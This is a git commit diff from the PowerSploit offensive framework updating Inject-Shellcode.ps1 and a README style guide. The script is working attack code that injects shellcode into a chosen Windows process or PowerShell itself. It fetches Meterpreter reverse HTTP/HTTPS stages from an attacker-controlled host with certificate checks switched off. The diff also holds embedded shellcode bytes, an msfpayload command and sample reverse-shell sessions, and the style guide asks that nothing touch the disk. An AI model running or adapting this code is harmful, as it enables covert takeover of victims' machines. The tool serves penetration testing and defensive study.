diff options
author | bitform <matt@exploit-monday.com> | 2012-08-20 20:14:01 -0400 |
---|---|---|
committer | bitform <matt@exploit-monday.com> | 2012-08-20 20:14:01 -0400 |
commit | c7fa3390128cfc3e5a3ad74c62970c3ee0f9fd5c (patch) | |
tree | eff3fc4f0068884375d24b8e56eb8c845ed1b0d5 | |
parent | 2b5ac68b9c230fdcf03ef9cc6a3844f9a2726ac6 (diff) | |
download | PowerSploit-c7fa3390128cfc3e5a3ad74c62970c3ee0f9fd5c.tar.gz PowerSploit-c7fa3390128cfc3e5a3ad74c62970c3ee0f9fd5c.zip |
Updated Inject-Shellcode and style guide
New Features/Changes:
- Dramatically simplified parameters. Removed redundancies and named
parameter sets more appropriately
- Added 'Shellcode' parameter. Now, you can optionally specify shellcode
as a byte array rather than having to copy and paste shellcode into the
$Shellcode32 and/or $Shellcode64 variables
- Added 'Payload' parameter. Naming is now consistant with Metasploit
payloads. Currently, only 'windows/meterpreter/reverse_http' and
'windows/meterpreter/reverse_https' payloads are supported.
- Inject-Shellcode will now prompt the user to continue the 'dangerous'
action unless the -Force switch is provided. Hopefully, this will
prevent some people from carrying out stupid/regrettable actions.
- Added the 'ListMetasploitPayloads' switch to display the Metasploit
payloads supported by Inject-Shellcode
Bug fixes/Miscellaneous:
- Added UserAgent parameter to help documentation
- Code is much more readable now
- Changed internal helper functions to 'local' scope
- Now using proper error handling versus Write-Warning statements
- Added a subtle warning to the built-in shellcode...
-rw-r--r-- | Inject-Shellcode.ps1 | 592 | ||||
-rw-r--r-- | README | 10 |
2 files changed, 410 insertions, 192 deletions
diff --git a/Inject-Shellcode.ps1 b/Inject-Shellcode.ps1 index ca727ef..79b886b 100644 --- a/Inject-Shellcode.ps1 +++ b/Inject-Shellcode.ps1 @@ -1,157 +1,226 @@ -function Inject-Shellcode {
-
+function Inject-Shellcode
+{
<#
-.Synopsis
+.SYNOPSIS
- PowerSploit Module - Inject-Shellcode
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
-
-.Description
+ Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
- Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally.
+ PowerSploit Module - Inject-Shellcode
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
- Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
+.DESCRIPTION
- PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your
- shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
+ Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
- msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
+ PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode.
- It's entirely unnecessary.
-
-.Parameter ProcessID
+ msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
- Process ID of the process you want to inject shellcode into.
+ Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
-.Parameter Remote
+.PARAMETER ProcessID
- Indicates that you want to inject into a remote process.
-
-.Parameter Local
+ Process ID of the process you want to inject shellcode into.
+
+.PARAMETER Shellcode
- Indicates that you want to inject within PowerShell.
-
-.Parameter Meterpreter_Reverse_Http
-
- Establish a reverse meterpreter shell over HTTP. Note: This will only work in 32-bit PowerShell.
-
-.Parameter Meterpreter_Reverse_Https
-
- Establish a reverse meterpreter shell over HTTPS. Note: This will only work in 32-bit PowerShell.
-
-.Parameter Lhost
+ Specifies an optional shellcode passed in as a byte array
+
+.PARAMETER ListMetasploitPayloads
- Specifies the IP address of the attack machine waiting to receive the reverse shell
-
-.Parameter Lport
-
- Specifies the port of the attack machine waiting to receive the reverse shell
-
-.Example
+ Lists all of the available Metasploit payloads that Inject-Shellcode supports
- PS> Inject-Shellcode -Remote 4274
-
- Description
- -----------
- Inject shellcode into process ID 4274.
-
-.Example
+.PARAMETER Lhost
- PS> Inject-Shellcode -Local
-
- Description
- -----------
- Inject shellcode into the running instance of PowerShell.
-
-.Example
-
- PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
- PS> $Proc = Get-Process notepad
- PS> Inject-Shellcode -Remote -ProcessId $Proc.Id -Meterpreter_Reverse_Https -Lhost 192.168.30.129 -Lport 443 -Verbose
- VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
- VERBOSE: Injecting shellcode into PID: 4004
- VERBOSE: Injecting into a Wow64 process.
- VERBOSE: Using 32-bit shellcode.
- VERBOSE: Shellcode memory reserved at 0x03BE0000
- VERBOSE: Emitting 32-bit assembly call stub.
- VERBOSE: Thread call stub memory reserved at 0x001B0000
- VERBOSE: Shellcode injection complete!
-
- Description
- -----------
- Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
- with the following options:
-
- Payload options (windows/meterpreter/reverse_https):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC thread yes Exit technique: seh, thread, process, none
- LHOST 192.168.30.129 yes The local listener hostname
- LPORT 443 yes The local listener port
-
-.Example
-
- PS> Inject-Shellcode -Local -Meterpreter_Reverse_Http -Lhost 192.168.30.129 -Lport 80
-
- Description
- -----------
- Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
- with the following options:
+ Specifies the IP address of the attack machine waiting to receive the reverse shell
+
+.PARAMETER Lport
- Payload options (windows/meterpreter/reverse_http):
+ Specifies the port of the attack machine waiting to receive the reverse shell
+
+.PARAMETER Payload
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC thread yes Exit technique: seh, thread, process, none
- LHOST 192.168.30.129 yes The local listener hostname
- LPORT 80 yes The local listener port
-
-.Notes
+ Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
- Use the '-Verbose' option to print detailed information.
-
- Place your generated shellcode in $Shellcode32 and $Shellcode64 variables.
-
-.Link
+.PARAMETER UserAgent
+
+ Optionally specifies the user agent to use when using meterpreter http or https payloads
+
+.PARAMETER Force
+
+ Injects shellcode without prompting for confirmation. By default, Inject-Shellcode prompts for confirmation before performing any malicious act.
+
+.EXAMPLE
+
+ C:\PS> Inject-Shellcode -ProcessId 4274
+
+ Description
+ -----------
+ Inject shellcode into process ID 4274.
+
+.EXAMPLE
+
+ C:\PS> Inject-Shellcode
+
+ Description
+ -----------
+ Inject shellcode into the running instance of PowerShell.
+
+.EXAMPLE
+
+ C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
+ C:\PS> $Proc = Get-Process notepad
+ C:\PS> Inject-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
+
+ VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
+ VERBOSE: Injecting shellcode into PID: 4004
+ VERBOSE: Injecting into a Wow64 process.
+ VERBOSE: Using 32-bit shellcode.
+ VERBOSE: Shellcode memory reserved at 0x03BE0000
+ VERBOSE: Emitting 32-bit assembly call stub.
+ VERBOSE: Thread call stub memory reserved at 0x001B0000
+ VERBOSE: Shellcode injection complete!
+
+ Description
+ -----------
+ Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
+ with the following options:
+
+ Payload options (windows/meterpreter/reverse_https):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ EXITFUNC thread yes Exit technique: seh, thread, process, none
+ LHOST 192.168.30.129 yes The local listener hostname
+ LPORT 443 yes The local listener port
+
+.EXAMPLE
+
+ C:\PS> Inject-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
- My blog: http://www.exploit-monday.com
- Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
+ Description
+ -----------
+ Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
+ with the following options:
+
+ Payload options (windows/meterpreter/reverse_http):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ EXITFUNC thread yes Exit technique: seh, thread, process, none
+ LHOST 192.168.30.129 yes The local listener hostname
+ LPORT 80 yes The local listener port
+
+.EXAMPLE
+
+ C:\PS> Inject-Shellcode -Shellcode @(0x90,0x90,0xC3)
+
+ Description
+ -----------
+ Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
+ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
+
+.EXAMPLE
+
+ C:\PS> Inject-Shellcode -ListMetasploitPayloads
+
+ Payloads
+ --------
+ windows/meterpreter/reverse_http
+ windows/meterpreter/reverse_https
+
+.NOTES
+
+ Use the '-Verbose' option to print detailed information.
+
+ Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
+
+ Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
+
+.LINK
+
+ http://www.exploit-monday.com
#>
-[CmdletBinding(DefaultParameterSetName = '1')] Param (
- [Parameter(Position = 0)] [String] $ProcessID,
- [Parameter()] [Switch] $Remote = $false,
- [Parameter()] [Switch] $Local = $true,
- [Parameter(Mandatory = $True, ParameterSetName = '2')] [Switch] $Meterpreter_Reverse_Http,
- [Parameter(Mandatory = $True, ParameterSetName = '3')] [Switch] $Meterpreter_Reverse_Https,
- [Parameter(Mandatory = $True, ParameterSetName = '2')]
- [Parameter(Mandatory = $True, ParameterSetName = '3')] [Int] $Lport = 8443,
- [Parameter(Mandatory = $True, ParameterSetName = '2')]
- [Parameter(Mandatory = $True, ParameterSetName = '3')] [String] $Lhost = '127.0.0.1', # Defaults to localhost in case a mistake is made
- [Parameter(ParameterSetName = '2')]
- [Parameter(ParameterSetName = '3')] [String] $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
+[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
+ [ValidateNotNullOrEmpty()]
+ [UInt16]
+ $ProcessID,
+
+ [Parameter( ParameterSetName = 'RunLocal' )]
+ [ValidateNotNullOrEmpty()]
+ [Byte[]]
+ $Shellcode,
+
+ [Parameter( ParameterSetName = 'Metasploit' )]
+ [ValidateSet( 'windows/meterpreter/reverse_http',
+ 'windows/meterpreter/reverse_https',
+ IgnoreCase = $True )]
+ [String]
+ $Payload = 'windows/meterpreter/reverse_http',
+
+ [Parameter( ParameterSetName = 'ListPayloads' )]
+ [Switch]
+ $ListMetasploitPayloads,
+
+ [Parameter( Mandatory = $True,
+ ParameterSetName = 'Metasploit' )]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Lhost = '127.0.0.1',
+
+ [Parameter( Mandatory = $True,
+ ParameterSetName = 'Metasploit' )]
+ [ValidateRange( 1,65535 )]
+ [Int]
+ $Lport = 8443,
+
+ [Parameter( ParameterSetName = 'Metasploit' )]
+ [ValidateNotNull()]
+ [String]
+ $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
+
+ [Switch]
+ $Force = $False
)
- if ($Remote -and !$ProcessID) {
- Write-Warning "You must specify a process ID!"
- return
+ Set-StrictMode -Version 2.0
+
+ # List all available Metasploit payloads and exit the function
+ if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
+ {
+ $AvailablePayloads = (Get-Command Inject-Shellcode).Parameters['Payload'].Attributes |
+ Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
+
+ foreach ($Payload in $AvailablePayloads.ValidValues)
+ {
+ New-Object PSObject -Property @{ Payloads = $Payload }
+ }
+
+ Return
}
- try {
+ if ( $PSBoundParameters['ProcessID'] )
+ {
+ # Ensure a valid process ID was provided
+ # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
- } catch [System.Management.Automation.ActionPreferenceStopException] {
- Write-Warning "Process does not exist!"
- return
}
- function Get-DelegateType
+ function Local:Get-DelegateType
{
- Param (
- [Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
- [Parameter(Position = 1)] [Type] $ReturnType = [Void]
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
@@ -163,14 +232,23 @@ function Inject-Shellcode { $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
- return $TypeBuilder.CreateType()
+
+ Write-Output $TypeBuilder.CreateType()
}
- function Get-ProcAddress
+ function Local:Get-ProcAddress
{
- Param (
- [Parameter(Position = 0, Mandatory = $True)] [String] $Module,
- [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
)
# Get a reference to System.dll in the GAC
@@ -184,24 +262,29 @@ function Inject-Shellcode { $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
# Return the address of the function
- return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
- function Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) {
-
+ # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
+ function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
+ {
$IntSizePtr = $Architecture / 8
- function ConvertTo-LittleEndian ([IntPtr] $Address) {
+ function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
+ {
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
- return $LittleEndianByteArray
+
+ Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
- if ($IntSizePtr -eq 8) {
+ if ($IntSizePtr -eq 8)
+ {
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
@@ -209,7 +292,9 @@ function Inject-Shellcode { $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
- } else {
+ }
+ else
+ {
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
@@ -219,15 +304,18 @@ function Inject-Shellcode { $CallStub += 0xFF,0xD0 # CALL EAX
}
- return $CallStub
+ Write-Output $CallStub
}
- function Inject-RemoteShellcode ([Int] $ProcessID)
+ function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
-
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
- if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return }
+
+ if (!$hProcess)
+ {
+ Throw "Unable to open a process handle for PID: $ProcessID"
+ }
$IsWow64 = $false
@@ -235,26 +323,52 @@ function Inject-Shellcode { {
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
- if ((!$IsWow64) -and $PowerShell32bit) {
- Write-Warning 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'; return
- } elseif ($IsWow64){
- if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
+
+ if ((!$IsWow64) -and $PowerShell32bit)
+ {
+ Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
+ }
+ elseif ($IsWow64) # 32-bit Wow64 process
+ {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ }
+
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
- } else {
- if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
- Write-Verbose 'Using 64-bit shellcode.'
+ }
+ else # 64-bit process
+ {
+ if ($Shellcode64.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode64 variable!'
+ }
+
$Shellcode = $Shellcode64
+ Write-Verbose 'Using 64-bit shellcode.'
}
- } else {
- if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
+ }
+ else # 32-bit CPU
+ {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ }
+
$Shellcode = $Shellcode32
+ Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate shellcode memory in remote process.'; return }
+
+ if (!$RemoteMemAddr)
+ {
+ Throw "Unable to allocate shellcode memory in PID: $ProcessID"
+ }
+
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
@@ -263,19 +377,29 @@ function Inject-Shellcode { # Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
- if ($IsWow64) {
+ if ($IsWow64)
+ {
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
+
Write-Verbose 'Emitting 32-bit assembly call stub.'
- } else {
+ }
+ else
+ {
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
+
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate thread call stub memory in remote process.'; return }
+
+ if (!$RemoteStubAddr)
+ {
+ Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
+ }
+
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
@@ -283,7 +407,11 @@ function Inject-Shellcode { # Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
- if (!$ThreadHandle) { Write-Warning 'Unable to launch remote thread.'; return } # Error launching thread
+
+ if (!$ThreadHandle)
+ {
+ Throw "Unable to launch remote thread in PID: $ProcessID"
+ }
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
@@ -291,21 +419,37 @@ function Inject-Shellcode { Write-Verbose 'Shellcode injection complete!'
}
- function Inject-LocalShellcode
+ function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
- if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ return
+ }
+
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
- } else {
- if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
+ }
+ else
+ {
+ if ($Shellcode64.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode64 variable!'
+ return
+ }
+
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$BaseAddress) { Write-Warning 'Unable to allocate shellcode memory.'; return }
+ if (!$BaseAddress)
+ {
+ Throw "Unable to allocate shellcode memory in PID: $ProcessID"
+ }
+
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
@@ -314,17 +458,26 @@ function Inject-Shellcode { # Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
- if ($PowerShell32bit) {
+ if ($PowerShell32bit)
+ {
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
- Write-Verbose 'Emitting 32-bit shellcode.'
- } else {
+
+ Write-Verbose 'Emitting 32-bit assembly call stub.'
+ }
+ else
+ {
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
- Write-Verbose 'Emitting 64-bit shellcode.'
+
+ Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
- if (!$BaseAddress) { Write-Warning 'Unable to allocate thread call stub memory.'; return }
+ if (!$CallStubAddress)
+ {
+ Throw "Unable to allocate thread call stub."
+ }
+
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
@@ -332,7 +485,10 @@ function Inject-Shellcode { # Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
- if (!$ThreadHandle) { Write-Warning 'Unable to launch thread.'; return } # Error launching thread
+ if (!$ThreadHandle)
+ {
+ Throw "Unable to launch thread."
+ }
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
@@ -342,41 +498,92 @@ function Inject-Shellcode { Write-Verbose 'Shellcode injection complete!'
}
-
- $64bitCPU = $true
+ # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
- if ($IsWow64ProcessAddr) {
+ if ($IsWow64ProcessAddr)
+ {
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
- } else {
+
+ $64bitCPU = $true
+ }
+ else
+ {
$64bitCPU = $false
}
- if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false }
+ if ([IntPtr]::Size -eq 4)
+ {
+ $PowerShell32bit = $true
+ }
+ else
+ {
+ $PowerShell32bit = $false
+ }
- if ($Meterpreter_Reverse_Http -or $Meterpreter_Reverse_Https) {
+ if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
+ {
if (!$PowerShell32bit) {
- Write-Warning 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell'
- return
+ Throw 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell'
+ }
+
+ $Response = $True
+
+ if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
+ "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
+
+ if ( !$Response )
+ {
+ # User opted not to carry out download of Metasploit payload. Exit function
+ Return
+ }
+
+ switch ($Payload)
+ {
+ 'windows/meterpreter/reverse_http'
+ {
+ $SSL = ''
+ }
+
+ 'windows/meterpreter/reverse_https'
+ {
+ $SSL = 's'
+ # Accept invalid certificates
+ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
+ }
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
- if ($Meterpreter_Reverse_Https) { $SSL = 's'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } }
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
+
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
- try {
+
+ try
+ {
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
- [Byte[]] $Shellcode64 = $Shellcode32
- } catch {
- Write-Warning "Unable to connect to $Request"
- return
}
- } else {
+ catch
+ {
+ Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
+ }
+ [Byte[]] $Shellcode64 = $Shellcode32
+
+ }
+ elseif ($PSBoundParameters['Shellcode'])
+ {
+ # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
+ # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
+ [Byte[]] $Shellcode32 = $Shellcode
+ [Byte[]] $Shellcode64 = $Shellcode32
+ }
+ else
+ {
# Pop a calc... or whatever shellcode you decide to place in here
+ # I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
@@ -415,7 +622,9 @@ function Inject-Shellcode { 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
- if ($Remote) {
+ if ( $PSBoundParameters['ProcessID'] )
+ {
+ # Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
@@ -433,9 +642,16 @@ function Inject-Shellcode { $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
- Inject-RemoteShellcode $ProcessId
- } else {
+ if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
+ "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
+ {
+ Inject-RemoteShellcode $ProcessId
+ }
+ }
+ else
+ {
+ # Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
@@ -450,8 +666,12 @@ function Inject-Shellcode { $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
- Inject-LocalShellcode
+ if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
+ "Injecting shellcode into the running PowerShell process!" ) )
+ {
+ Inject-LocalShellcode
+ }
}
}
@@ -113,15 +113,13 @@ For all contributors and future contributors to PowerSploit, I ask that you foll * If you find yourself repeating code, write a function.
-* Catch all anticipated errors and provide meaningful output. I prefer 'Write-Warning; return' to Write-Error. Use your discretion as to what you think works best for your script though.
+* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.
-* If you are writing a script that interfaces with the Win32 API, do not compile C# code. It is imperative that nothing aside from the script touches the disk.
+* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk.
* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.
-* I don't want any v3 dependencies right now.
-
-* Make your overall script a function so that Get-Help can be used properly.
+* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices.
* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:
* [Parameter(Position = 0, Mandatory = $True)]
